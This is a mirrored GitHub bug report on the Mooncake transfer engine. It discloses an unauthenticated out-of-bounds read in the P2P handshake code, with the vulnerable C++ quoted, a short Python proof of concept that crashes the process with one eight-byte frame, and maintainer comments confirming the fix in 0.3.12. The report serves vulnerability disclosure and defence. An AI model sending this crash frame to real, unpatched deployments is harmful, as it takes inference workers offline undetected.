kvcache-ai/Mooncake

Fork 0

mirror of https://github.com/kvcache-ai/Mooncake.git synced 2026-11-05 01:17:55 +00:00

[GH-ISSUE #4452] [Bug]: Zero-length handshake message causes out-of-bounds read and SIGSEGV in Mooncake transfer engine #1124

New issue

Open

opened 2026-10-29 21:23:07 +00:00 by bsakaguchi · 2 comments

bsakaguchi commented

2026-10-29 21:23:07 +00:00

Owner

Originally created by @Sunxj059 on GitHub (Oct 2, 2026).
Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4452

Bug Report

Summary

readString in the P2P handshake path of mooncake-transfer-engine reads a 64-bit length from the network, rejects only lengths above the maximum, allocates a std::vector<char> of that size, and then accesses buffer[0] unconditionally. A handshake frame with length = 0 (eight zero bytes) reads out of bounds and crashes the process hosting the engine with SIGSEGV. Runtime-confirmed on the 0.3.11.post1 release wheel, including an sglang PD deployment where the decode scheduler was killed while the router health check kept returning 200. Upstream fixed this in 0.3.12 (commit c142b40590259360196d8e504b2193382529e7b4, PR #2343) as a self-initiated hardening without a security advisory, so wheels up to 0.3.11.post1 remain publicly affected and undisclosed. Suggested severity: Medium, CVSS 6.5.

Details

The handshake listener is SocketHandShakePlugin::startDaemon (src/transfer_metadata_plugin.cpp). It binds on all interfaces, picks its port from the documented default range 15000-17000, logs it as Transfer Engine RPC using P2P handshake, listening on <ip>:<port>, and calls readString on every accepted connection, unauthenticated.

readString (include/common.h) in versions up to 0.3.11.post1:

uint64_t length = 0;
readFully(fd, &length, sizeof(length));
if (length > kMaxLength) return {type, ""};   // only an upper bound
std::vector<char> buffer(length);             // length == 0 -> empty vector
readFully(fd, buffer.data(), length);         // zero-byte read succeeds
if (buffer[0] <= static_cast<char>(HandShakeRequestType::Probe)) {  // OOB on empty vector

The zero-length case passes the only guard, and buffer[0] on an empty vector is an out-of-bounds read that manifests as SIGSEGV in the release build. All four frame types (Connection/Metadata/Notify/Probe) reach this code, so any accepted TCP connection can trigger it.

The fix adds an explicit if (length == 0) early return before the buffer is allocated. It first shipped in 0.3.12 via PR #2343 ("Guard readString against zero-length network input to prevent OOB access on empty buffer"). No CVE or advisory exists for this issue.

PoC

Environment: Linux x86_64, Python 3.11, pip install mooncake-transfer-engine==0.3.11.post1, MC_FORCE_TCP=1.

Victim:

# victim.py
import time
from mooncake.engine import TransferEngine

HOST = "192.168.55.134"  # victim host IP
te = TransferEngine()
assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0
print("rpc_port =", te.get_rpc_port(), flush=True)
time.sleep(3600)

Attacker (a single 8-byte frame):

import socket, struct

s = socket.create_connection((HOST, RPC_PORT))  # rpc_port printed by victim
s.sendall(struct.pack("<Q", 0))                 # length = 0, little-endian
s.close()

Observed: the victim exits with code 139 (SIGSEGV). Controls that leave the victim alive: connect and close without sending; a nonzero length followed by garbage JSON; a nonzero length followed by valid JSON.

Sglang impact, observed in a 1-prefill/1-decode deployment with the mooncake transfer backend: sending the same frame to the decode scheduler's handshake port (the sglang::scheduler listener visible via ss -ltnp, port logged by the engine) terminated the scheduler process. The router health endpoint kept returning 200 and subsequent completion requests timed out until the worker was restarted.

Expected secure behavior: the frame is rejected (as 0.3.12+ does with the zero-length guard) and the process continues serving.

Impact

This is an out-of-bounds read used as an unauthenticated remote crash (CWE-125). The attacker needs no credentials, only network reachability to the handshake RPC port, which binds on all interfaces and is picked from the documented 15000-17000 range.

One eight-byte frame kills the process hosting the engine. In sglang and vLLM deployments that process is the scheduler or EngineCore, so a single frame removes a prefill or decode worker; the parent HTTP service and router health checks stay green, so orchestrators do not detect the failure and requests routed to the dead worker time out. Recovery requires restarting the worker. Availability-only impact; no confidentiality or integrity effect was observed. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5). Affected: mooncake-transfer-engine <= 0.3.11.post1; patched in 0.3.12.

Before submitting...

Ensure you searched for relevant issues and read the [documentation]

Originally created by @Sunxj059 on GitHub (Oct 2, 2026). Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4452 ### Bug Report ### Summary `readString` in the P2P handshake path of mooncake-transfer-engine reads a 64-bit length from the network, rejects only lengths above the maximum, allocates a `std::vector<char>` of that size, and then accesses `buffer[0]` unconditionally. A handshake frame with `length = 0` (eight zero bytes) reads out of bounds and crashes the process hosting the engine with SIGSEGV. Runtime-confirmed on the 0.3.11.post1 release wheel, including an sglang PD deployment where the decode scheduler was killed while the router health check kept returning 200. Upstream fixed this in 0.3.12 (commit `c142b40590259360196d8e504b2193382529e7b4`, PR #2343) as a self-initiated hardening without a security advisory, so wheels up to 0.3.11.post1 remain publicly affected and undisclosed. Suggested severity: Medium, CVSS 6.5. ### Details The handshake listener is `SocketHandShakePlugin::startDaemon` (src/transfer_metadata_plugin.cpp). It binds on all interfaces, picks its port from the documented default range 15000-17000, logs it as `Transfer Engine RPC using P2P handshake, listening on <ip>:<port>`, and calls `readString` on every accepted connection, unauthenticated. `readString` (include/common.h) in versions up to 0.3.11.post1: ```cpp uint64_t length = 0; readFully(fd, &length, sizeof(length)); if (length > kMaxLength) return {type, ""}; // only an upper bound std::vector<char> buffer(length); // length == 0 -> empty vector readFully(fd, buffer.data(), length); // zero-byte read succeeds if (buffer[0] <= static_cast<char>(HandShakeRequestType::Probe)) { // OOB on empty vector ``` The zero-length case passes the only guard, and `buffer[0]` on an empty vector is an out-of-bounds read that manifests as SIGSEGV in the release build. All four frame types (Connection/Metadata/Notify/Probe) reach this code, so any accepted TCP connection can trigger it. The fix adds an explicit `if (length == 0)` early return before the buffer is allocated. It first shipped in 0.3.12 via PR #2343 ("Guard readString against zero-length network input to prevent OOB access on empty buffer"). No CVE or advisory exists for this issue. ### PoC Environment: Linux x86_64, Python 3.11, `pip install mooncake-transfer-engine==0.3.11.post1`, `MC_FORCE_TCP=1`. Victim: ```python # victim.py import time from mooncake.engine import TransferEngine HOST = "192.168.55.134" # victim host IP te = TransferEngine() assert te.initialize(HOST, "P2PHANDSHAKE", "tcp", "") == 0 print("rpc_port =", te.get_rpc_port(), flush=True) time.sleep(3600) ``` Attacker (a single 8-byte frame): ```python import socket, struct s = socket.create_connection((HOST, RPC_PORT)) # rpc_port printed by victim s.sendall(struct.pack("<Q", 0)) # length = 0, little-endian s.close() ``` Observed: the victim exits with code 139 (SIGSEGV). Controls that leave the victim alive: connect and close without sending; a nonzero length followed by garbage JSON; a nonzero length followed by valid JSON. Sglang impact, observed in a 1-prefill/1-decode deployment with the mooncake transfer backend: sending the same frame to the decode scheduler's handshake port (the `sglang::scheduler` listener visible via `ss -ltnp`, port logged by the engine) terminated the scheduler process. The router health endpoint kept returning 200 and subsequent completion requests timed out until the worker was restarted. Expected secure behavior: the frame is rejected (as 0.3.12+ does with the zero-length guard) and the process continues serving. ### Impact This is an out-of-bounds read used as an unauthenticated remote crash (CWE-125). The attacker needs no credentials, only network reachability to the handshake RPC port, which binds on all interfaces and is picked from the documented 15000-17000 range. One eight-byte frame kills the process hosting the engine. In sglang and vLLM deployments that process is the scheduler or EngineCore, so a single frame removes a prefill or decode worker; the parent HTTP service and router health checks stay green, so orchestrators do not detect the failure and requests routed to the dead worker time out. Recovery requires restarting the worker. Availability-only impact; no confidentiality or integrity effect was observed. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5). Affected: mooncake-transfer-engine <= 0.3.11.post1; patched in 0.3.12. ### Before submitting... - [x] Ensure you searched for relevant issues and read the [documentation]

bsakaguchi added the

bug

label

2026-10-29 21:23:07 +00:00

bsakaguchi commented

2026-10-29 21:23:08 +00:00

Author

Owner

@github-actions[bot] commented on GitHub (Oct 2, 2026):

Thanks for opening this issue, @Sunxj059!

Field	Value
Issue	#4452
GitHub user ID	`324125042`
Reporter	@Sunxj059

A maintainer will triage this when possible. To help us respond faster, please include:

Mooncake version or commit SHA
Environment (OS, CUDA/driver, RDMA stack if relevant)
Steps to reproduce and expected vs. actual behavior

Useful links: Documentation · Contributing guide

This message was posted automatically by the issue bot.

@github-actions[bot] commented on GitHub (Oct 2, 2026): Thanks for opening this issue, @Sunxj059! | Field | Value | |-------|-------| | **Issue** | #4452 | | **GitHub user ID** | `324125042` | | **Reporter** | @Sunxj059 | A maintainer will triage this when possible. To help us respond faster, please include: - Mooncake version or commit SHA - Environment (OS, CUDA/driver, RDMA stack if relevant) - Steps to reproduce and expected vs. actual behavior Useful links: [Documentation](https://kvcache-ai.github.io/Mooncake/) · [Contributing guide](https://github.com/kvcache-ai/Mooncake/blob/main/CONTRIBUTING.md) > This message was posted automatically by the issue bot.

bsakaguchi commented

2026-10-29 21:23:08 +00:00

Author

Owner

@he-yufeng commented on GitHub (Oct 2, 2026):

Confirmed the fix is in current main: c142b405 ([TE] Fix error-path safety: freeaddrinfo leak, null deref, OOB read (#2343)) is an ancestor of origin/main, and readString/readFully on main rejects a zero length before touching the buffer. So main and the next release are not affected; the exposure is limited to wheels built before #2343, 0.3.11.post1 included, as the report says.

On the disclosure side (advisory, CVSS entry, release-note callout for the affected wheels), that is a maintainer-team call, so leaving this open for triage rather than closing it as already-fixed.

@he-yufeng commented on GitHub (Oct 2, 2026): Confirmed the fix is in current main: c142b405 (`[TE] Fix error-path safety: freeaddrinfo leak, null deref, OOB read (#2343)`) is an ancestor of origin/main, and `readString`/`readFully` on main rejects a zero length before touching the buffer. So main and the next release are not affected; the exposure is limited to wheels built before #2343, 0.3.11.post1 included, as the report says. On the disclosure side (advisory, CVSS entry, release-note callout for the affected wheels), that is a maintainer-team call, so leaving this open for triage rather than closing it as already-fixed.

bsakaguchi referenced this issue

2026-10-29 21:24:27 +00:00

[GH-ISSUE #4929] [Feature Request]: Add a cmake-format config so the pre-commit hook stops reflowing comments #1253

bsakaguchi referenced this issue

2026-10-29 21:32:13 +00:00

[PR #1124] [MERGED] [DEV] add pre-commit #2025

bsakaguchi referenced this issue

2026-10-29 21:33:38 +00:00

[PR #1370] [CLOSED] [TE] feat: zmq communicator based on coro_rpc #2204